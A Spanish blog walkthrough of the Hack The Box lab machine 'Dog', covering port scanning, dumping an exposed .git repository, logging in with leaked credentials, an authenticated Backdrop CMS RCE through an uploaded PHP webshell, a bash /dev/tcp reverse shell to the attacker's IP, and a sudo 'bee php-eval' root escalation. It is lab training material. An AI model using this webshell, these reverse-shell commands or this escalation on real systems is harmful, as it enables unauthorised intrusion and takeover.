La máquina Dog es una máquina fácil de HTB.

Resumen de conceptos trabajados:

–Enumeración web y puertos
-Exposición de repositorio .git
-Ataques de autenticación
-Ejecución de RCE Remote Code Execution
-Reverse Shell
-Abuso de herramienta con ejecución de código (bee)

Si es tu primera máquina en Hack The Box y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento cómo introducirte en esta plataforma.

Si quieres empezar con Hack The Box y quieres probarla, te dejo el enlace para que puedas registrarte y comenzar.

A continuación, para conectarte a la máquina, tendrás que establecer la conexión con la máquina víctima de HTB conectándote a la VPN desde la carpeta donde la tengas descargada, y desde ahí ejecutarás el comando «sudo openvpn NOMBRE_VPN.ovpn».

NUMERACIÓN -> ESCANEO DE PUERTOS

Comenzamos con la enumeración de puertos y conocimiento de versiones y servicios que corren sobre los mismos.

Antes, a mi me gusta asegurarme que efectivamente la máquina víctima está activa y ante qué sistema operativo (OS) nos enfrentamos. Para ello:

¿Está la máquina víctima activa y nos podemos comunicar con ella?

Aquí lo que haremos es ejecutar el siguiente comando y ver si el «host is up»:

El TTL es de 64 (63 en HTB por el nodo intermediario) por lo que estamos antes una máquina Linux.

Ahora que sabemos que la máquina víctima está activa, procedemos escanear la red lanzando un nmap para detectar qué puertos están abiertos con el siguiente comando:

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.58 -oG Escaneo

Sabemos por tanto que los puerto 22 SSH y 80 http web están abiertos.

A continuación lo que voy a hacer es analizar los servicios y versiones que corren para esos puertos abiertos, de esta forma obtengo más detalle clave sobre posibles exploits que pueda encontrar, para ello lanzo este comando:

nmap -sCV -p22,80 10.10.11.58

De lo investigado por searchsploit no se reporta ninguno para las versiones de openssh y apache detectadas, sin embargo aparece un CMS en el servicio web llamado «Backdrop» que sí reporta exploits la herramienta.

Al parecer la versión es la 1 y se detectan algunas superiores, tendremos que analizar si sirven o no.

Desde el análisis del código fuente con la búsqueda de la tag «Generator» vemos que estamos ante la versión 1, <meta name=»Generator» content=»Backdrop CMS 1 (https://backdropcms.org)» />.

En este punto vemos en un análisis rápido algunos puntos:

  • Urls formadas bajo parametrización tipo -> ?q=posts , ?q=about , ?q=user/login
  • Imágenes alojadas en http://10.10.11.58/files/styles/medium/public/field/image/dog-obesity.jpg
  • Usuario de las entradas = Anonymous y dogBackDropSystem
  • El archivo robots.txt está bloqueando el acceso a los crawlers a determinados archivos y rutas:

Con esta información básica en mente, vamos a pasar a listar directorios o carpetas que puedan estar ocultas (además de las detectadas en robots.txt).

Para ello vamos a usar la herramienta feroxbuster.

EXPOSICIÓN REPOSITORIO .GIT

Después de realizar el análisis completo, me quedo con la parte http://10.10.11.58/.git/ , que al analizarla vemos una serie de subcarpetas y archivos:

Ya nos lo indicó en el análisis de versiones de los puertos que el 80 tenía un repositorio ./git/ expuesto.

Git es un sistema de control de versiones y se usa mucho en programación para guardar el historial de cambios de un proyecto. Ese historial queda guardado en una carpeta llamada .git/. Normalmente esa carpeta no debe estar expuesta al público.

¿Por qué es importante un repositorio .git expuesto?

Cuando un servidor web expone públicamente el directorio .git, un atacante puede descargar todo el historial del proyecto y analizarlo para buscar información sensible, como por ejemplo:

  • Descargar todo el código fuente del sitio.
  • Ver nombres de usuarios.
  • Ver contraseñas, hashes o configuraciones que se quedaron por accidente.
  • Ver rutas internas del servidor o cómo funcionan los formularios.
  • Versiones exactas del software (útil para explotar vulnerabilidades específicas)

Analizando los distintos archivos y carpetas del .git llego hasta: http://10.10.11.58/.git/logs/HEAD que me devuelve este información:

Donde:

Commit Inicial:

  • Indica que tenemos acceso al historial del proyecto desde su inicio.
  • Es posible que haya más commits con información útil (como credenciales).

Usuario del commit:

  • root <dog@dog.htb>
  • Esto confirma que la máquina se encuentra en el dominio dog.htb.
  • Esto puede ser útil más adelante si encontramos un panel de login y necesitamos un usuario.

Posible documentación útil:

  • Referencia a la documentación de Backdrop CMS:
    https://docs.backdropcms.org/documentation/url-aliases
  • Esto puede darnos pistas sobre cómo funcionan las rutas del CMS y cómo explotar posibles vulnerabilidades.

Configuro el fichero /etc/hosts/ para asociar la IP a ese dominio dog.htb y ver si devuelve un contenido distinto…

La web es la misma, así que paso a investigar la parte de login teniendo en cuenta el usuario root y el correo de dog@dog.htb .

Probamos por otra vía…y es que sabiendo que el /.git está expuesto, podemos usar la herramienta git-dumper (puedes hacer un clone de este repo de github).

Una vez clonado y dentro del directorio descargado de git-dumper, aplicamos este comando:

python3 git_dumper.py http://dog.htb/.git/ ./dog_git

Lo que hace este comando:

  • Se conecta a http://dog.htb/.git/
  • Descarga todo lo que puede de esa carpeta
  • Reconstruye el repositorio de Git en una carpeta llamada dog_git

ATAQUE DE AUTENTICACIÓN USUARIO

Una vez descargada, lo que hacemos es grepear o buscar de forma recursiva «-r» en todos los archivos y carpetas el texto «dog.htb» y se encontró un usuario nuevo «tiffany» que podremos probar con la contraseña que vimos «BackDropJ2024DS2024«.

Probamos con tiffany:BackDropJ2024DS2024 en el panel de login y estamos dentro:

podemos ver dentro más usuarios:

podemos ver también la versión de la aplicación desde la parte de Apariencia (usando la versión 1.27.1) de backdrop CMS.

que coincide con una versión exploitable detectada en Exploit-DB:

vamos a copiarlo en el directorio actual:

searchsploit -m php/webapps/52021.py

una vez descargado, y antes de ejecutarlo, reviso el código y pregunto a ChatGPT por él, si lo ve a priori legítimo y viable para ejecutar, y que no contenga ninguna línea «rara»:

EJECUCIÓN REMOTA DE COMANDOS RCE

El código el exploit en Python (52021.py) aprovecha una vulnerabilidad RCE autenticada en Backdrop CMS. Esto significa que:

  • La web permite a usuarios autenticados (como tiffany) subir contenido o archivos.
  • El exploit simula el comportamiento de un módulo legítimo, pero dentro incluye código PHP malicioso (una shell web).
  • Una vez instalado el módulo malicioso desde el panel de administración, podrás ejecutar comandos desde el navegador o recibir una reverse shell.

¿Qué hace el código?

Divide su funcionamiento en dos partes:

1. Genera un módulo malicioso para Backdrop CMS:

info_content = """
name = Block
...
version = 1.27.1
"""

Esto es como una «ficha técnica» del módulo que Backdrop necesita para aceptarlo como válido.

2. Incluye una shell PHP en HTML que se verá como un formulario web, y ejecutará cualquier comando enviado por GET:

<form method="GET" ...>
...
<?php
if(isset($_GET['cmd']))
{
  system($_GET['cmd']);
}
?>

Esto crea una webshell básica para ejecutar comandos.

Una vez sabemos en qué consiste el exploit, vamos a editarlo con nuestros datos:

Ejecutamos el script:

python3 52021.py http://dog.htb

Ahora creamos un archivo comprimido en formato .tar que agrupa los contenidos de una carpeta (en este caso, la carpeta shell) para poder subirlo al panel del CM, ya que es el formato que nos dice que permite.

Usamos este comando para crear el archivo en ese formato y lo subimos al CMS:

tar -cvf shell.tar shell

Si nos fijamos en cómo construir la shell maliciosa, veremos que una vez subido el fichero anterior, este se ha subido a la ruta de /modules/…

De hecho, si aplicamos este comando para ver quienes somos, nos confirma que efectivamente hemos aplicado ejecución remota de comandos:

(si vuelve a introducirlo más tarde, el servidor te devuelve un error, parece que se aplica algún delete automático sobre el fichero que subimos, por lo que tenemos que ser rápidos).

REVERSE SHELL

Por tanto, el siguiente paso es crear una reverse shell, la he llamado «revs»:

echo '#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.66/4444 0>&1"' > revs
chmod +x revs

después, te pones en escucha por netcat por el puerto 4444: 

nc -lvnp 4444

seguido, levantas un servidor en python3:

python3 -m http.server 5555

y por último, vuelves a hacer el proceso de subida del fichero shell.tar desde la ruta del navegador: 

http://dog.htb/?q=admin/installer/manual

Una vez lo subes, ejecutas directamente en el navegador esta url:

dog.htb/modules/shell/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.66/4444+0>%261'

y ya me conecta:

Puedo ver que hay dos usuarios: jobert y johncusack

IMPORTANTE: estabilizar la shell para que sea interactiva y podamos navegar por ella sin problema. Para ello:

Ejecuta el siguiente comando en la shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

y después ejecuta esto para mejorarla:

export TERM=xterm
stty rows 40 columns 120

Después de estabilizar la shell probamos a conectarnos a esos usuarios a través de la contraseña de Tiffany (BackDropJ2024DS2024), y efectivamente para el usuario johncusack nos funciona:

y podemos ver la user flag.

EJECUCIÓN DE ABUSO DE HERRAMIENTA BINARIO BEE

Básicamente viene a decir que johncusack tiene permisos para ejecutar el binario /usr/local/bin/bee con privilegios de root SIN restricción alguna.

El binario /usr/local/bin/bee es una herramienta de administración de Backdrop CMS, que acepta comandos, opciones y argumentos.

Y como podemos ejecutarlo con sudo sin contraseña, nos da la opción de escalar a root.

Si vamos más abajo del binario, encontramos esto, que significa que podemos usar el subcomando php-eval (o eval) para ejecutar cualquier código PHP directamente desde la línea de comandos.

Y como podemos ejecutar bee con sudo, ese código PHP se ejecutará con privilegios de root:

por tanto, ejecutamos este comando y ya somos root:

sudo bee --root=/var/www/html php-eval 'system("whoami")'

y si nos movemos a cd /root vemos la flag de root:

RESUMEN DE LA MÁQUINA DOG

Comenzamos escaneando la máquina y detectamos que tenía abiertos los puertos 22 (SSH) y 80 (HTTP), donde corría un CMS llamado Backdrop.

Gracias a la lectura del archivo robots.txt y al análisis del sitio web, descubrimos que había un repositorio .git expuesto, del cual descargamos su contenido con git-dumper.

Dentro, encontramos credenciales útiles y el nombre de usuario tiffany, que nos permitió acceder al panel administrativo del CMS. Una vez dentro, comprobamos que la versión era vulnerable a ejecución remota autenticada (RCE). Generamos un módulo malicioso con un script Python, lo empaquetamos como .tar, lo subimos al panel y conseguimos ejecutar comandos remotos en la máquina a través de una shell PHP.

Después, con esa shell conseguimos una reverse shell como usuario www-data, y tras enumerar el sistema y usuarios, descubrimos la contraseña de johncusack. Al cambiar a este usuario, vimos que podía ejecutar el binario bee como root sin necesidad de contraseña.

Este binario, parte de Backdrop CMS, incluía una opción php-eval que nos permitía ejecutar código PHP. Aprovechamos esta función para ejecutar system("/bin/bash") y así obtener una shell como root. Finalmente, accedimos al fichero root.txt y capturamos la flag. ¡Objetivo conseguido! 🏁🐶

Otros posts relacionados

Ciberseguridad VulNyx Resolución de Máquinas Write Ups

Doctor – VulNyx [WriteUp]

Seohack
Ciberseguridad HackTheBox Resolución de Máquinas Write Ups

Eighteen – Hack The Box [Write Up]

Seohack